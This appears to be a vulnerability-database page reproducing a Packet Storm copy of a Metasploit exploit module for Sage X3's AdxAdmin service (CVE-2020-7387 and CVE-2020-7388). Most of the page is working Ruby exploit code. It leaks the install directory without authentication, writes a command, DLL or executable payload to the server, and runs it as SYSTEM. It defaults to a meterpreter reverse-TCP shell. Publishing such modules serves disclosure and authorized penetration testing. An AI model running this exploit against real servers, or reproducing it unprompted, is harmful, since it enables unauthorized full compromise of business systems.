Lucene search
K

Sage X3 Administration Service Authentication Bypass / Command Execution

🗓️ 21 Jul 2021 00:00:00Reported by Aaron HerndonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 300 Views

This module leverages an authentication bypass exploit within Sage X3 AdxSrv's administration protocol to execute arbitrary commands as SYSTEM against a Sage X3 Server running an available AdxAdmin service

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Sage X3 Administration Service Authentication Bypass Command Execution',  
'Description' => %q{  
This module leverages an authentication bypass exploit within Sage X3 AdxSrv's administration  
protocol to execute arbitrary commands as SYSTEM against a Sage X3 Server running an  
available AdxAdmin service.  
},  
'Author' => [  
'Jonathan Peterson <deadjakk[at]shell.rip>', # @deadjakk  
'Aaron Herndon' # @ac3lives  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2021-07-07',  
'References' =>  
[  
['CVE', '2020-7387'], # Infoleak  
['CVE', '2020-7388'], # RCE  
['URL', 'https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/']  
],  
'Privileged' => true,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/generic',  
'CMD' => 'whoami'  
}  
}  
],  
[  
'Windows DLL',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows Executable',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [FIRST_ATTEMPT_FAIL],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(1818)  
]  
)  
end  
  
def vprint(msg = '')  
print(msg) if datastore['VERBOSE']  
end  
  
def check  
s = connect  
print_status('Connected')  
  
# ADXDIR command authentication header  
# allows for unauthenticated retrieval of X3 directory  
auth_packet = "\x09\x00"  
s.write(auth_packet)  
  
# recv response  
res = s.read(1024)  
  
if res.nil? || res.length != 4  
print_bad('ADXDIR authentication failed')  
return CheckCode::Safe  
end  
  
if res.chars == ["\xFF", "\xFF", "\xFF", "\xFF"]  
print_bad('ADXDIR authentication failed')  
return CheckCode::Safe  
end  
  
print_good('ADXDIR authentication successful.')  
  
# ADXDIR command  
adx_dir_msg = "\x07\x41\x44\x58\x44\x49\x52\x00"  
s.write(adx_dir_msg)  
directory = s.read(1024)  
  
return CheckCode::Safe if directory.nil?  
  
sagedir = directory[4..-2]  
print_good(format('Received directory info from host: %s', sagedir))  
disconnect  
  
CheckCode::Vulnerable(details: { sagedir: sagedir })  
rescue Rex::ConnectionError  
CheckCode::Unknown  
end  
  
def build_buffer(head, sage_payload, tail)  
buffer = ''  
  
# do things  
buffer << head if head  
buffer << sage_payload.length  
buffer << sage_payload  
buffer << tail if tail  
  
buffer  
end  
  
def write_file(sock, filenum, sage_payload, target, sagedir)  
s = sock  
  
# building the initial authentication packet  
# [2bytes][userlen 1 byte][username][userlen 1 byte][username][passlen 1 byte][CRYPT:HASH]  
# Note: the first byte of this auth packet is different from the ADXDIR command  
  
revsagedir = sagedir.gsub('\\', '/')  
  
s.write("\x06\x00")  
auth_resp = s.read(1024)  
  
fail_with(Failure::UnexpectedReply, 'Directory message did not provide intended response') if auth_resp.length != 4  
  
print_good('Command authentication successful.')  
  
# May require additional information such as file path  
# this will be used for multiple messages  
  
head = "\x00\x00\x36\x02\x00\x2e\x00" # head  
fmt = '@%s/tmp/cmd%s$cmd'  
fmt = '@%s/tmp/cmd%s.dll' if target == 'Windows DLL'  
fmt = '@%s/tmp/cmd%s.exe' if target == 'Windows Executable'  
pload = format(fmt, revsagedir, filenum)  
tail = "\x00\x03\x00\x01\x77"  
sendbuf = build_buffer(head, pload, tail)  
s.write(sendbuf)  
s.read(1024)  
  
# Packet --- 3  
# Creating the packet that contains the command to run  
head = "\x02\x00\x05\x08\x00\x00\x00"  
  
# this writes the data to the .cmd file to get executed  
# a single write can't be larger than ~250 bytes  
# so writes larger than 250 need to be broken up  
written = 0  
print_status('Writing data')  
  
while written < sage_payload.length  
vprint('.')  
  
towrite = sage_payload[written..written + 250]  
sendbuf = build_buffer(head, towrite, nil)  
s.write(sendbuf)  
s.recv(1024)  
  
written += towrite.length  
end  
  
vprint("\r\n")  
end  
  
def exploit  
sage_payload = payload.encoded if target.name == 'Windows Command'  
sage_payload = generate_payload_dll if target.name == 'Windows DLL'  
sage_payload = generate_payload_exe if target.name == 'Windows Executable'  
  
sagedir = check.details[:sagedir]  
  
if sagedir.nil?  
fail_with(Failure::NotVulnerable,  
'No directory was returned by the remote host, may not be vulnerable')  
end  
  
if sagedir.end_with?('AdxAdmin')  
register_dir_for_cleanup("#{sagedir}\\tmp")  
end  
  
revsagedir = sagedir.gsub('\\', '/')  
  
filenum = rand_text_numeric(8)  
vprint_status(format('Using generated filename: %s', filenum))  
  
s = connect  
  
write_file(s, filenum, sage_payload, target.name, sagedir)  
  
unless target.name == 'Windows Command'  
disconnect  
# re-establish connection after writing file  
s = connect  
end  
  
if target.name == 'Windows DLL'  
sage_payload = "rundll32.exe #{sagedir}\\tmp\\cmd#{filenum}.dll,0"  
vprint_status(sage_payload)  
write_file(s, filenum, sage_payload, nil, sagedir)  
end  
  
if target.name == 'Windows Executable'  
sage_payload = "#{sagedir}\\tmp\\cmd#{filenum}.exe"  
vprint_status(sage_payload)  
write_file(s, filenum, sage_payload, nil, sagedir)  
end  
  
# Some sort of delimiter  
delim0 = "\x02\x00\x01\x01" # bufm  
s.write(delim0)  
s.recv(1024)  
  
# Packet --- 4  
sage_payload = "@#{revsagedir}/tmp/sess#{filenum}$cmd"  
head = "\x00\x00\x37\x02\x00\x2f\x00"  
tail = "\x00\x03\x00\x01\x77"  
sendbuf = build_buffer(head, sage_payload, tail)  
s.write(sendbuf)  
s.recv(1024)  
  
# Packet --- 5  
head = "\x02\x00\x05\x08\x00\x00\x00"  
sage_payload = "@echo off\r\n#{sagedir}\\tmp\\cmd#{filenum}.cmd 1>#{sagedir}\\tmp\\#{filenum}.out 2>#{sagedir}\\tmp\\#{filenum}.err\r\n@echo on"  
sendbuf = build_buffer(head, sage_payload, nil)  
s.write(sendbuf)  
s.recv(1024)  
  
# Packet --- Delim  
s.write(delim0)  
s.recv(1024)  
  
# Packet --- 6  
head = "\x00\x00\x36\x04\x00\x2e\x00"  
sage_payload = "#{revsagedir}\\tmp\\sess#{filenum}.cmd"  
tail = "\x00\x03\x00\x01\x72"  
sendbuf = build_buffer(head, sage_payload, tail)  
s.write(sendbuf)  
s.recv(1024)  
  
# if it's not COMMAND, we can stop here  
# otherwise, we'll send/recv the last bit  
# of info for the output  
unless target.name == 'Windows Command'  
disconnect  
return  
end  
  
# Packet --- Delim  
delim1 = "\x02\x00\x05\x05\x00\x00\x10\x00"  
s.write(delim1)  
s.recv(1024)  
  
# Packet --- Delim  
s.write(delim0)  
s.recv(1024)  
  
# The two below are directing the server to read from the .out file that should have been created  
# Then we get the output back  
# Packet --- 7 - Still works when removed.  
head = "\x00\x00\x2f\x07\x08\x00\x2b\x00"  
sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"  
sendbuf = build_buffer(head, sage_payload, nil)  
s.write(sendbuf)  
s.recv(1024)  
  
# Packet --- 8  
head = "\x00\x00\x33\x02\x00\x2b\x00"  
sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"  
tail = "\x00\x03\x00\x01\x72"  
sendbuf = build_buffer(head, sage_payload, tail)  
s.write(sendbuf)  
s.recv(1024)  
  
s.write(delim1)  
returned_data = s.recv(8096).strip!  
  
if returned_data.nil? || returned_data.empty?  
disconnect  
fail_with(Failure::PayloadFailed, 'No data appeared to be returned, try again')  
end  
  
print_good('------------ Response Received ------------')  
print_status(returned_data)  
disconnect  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation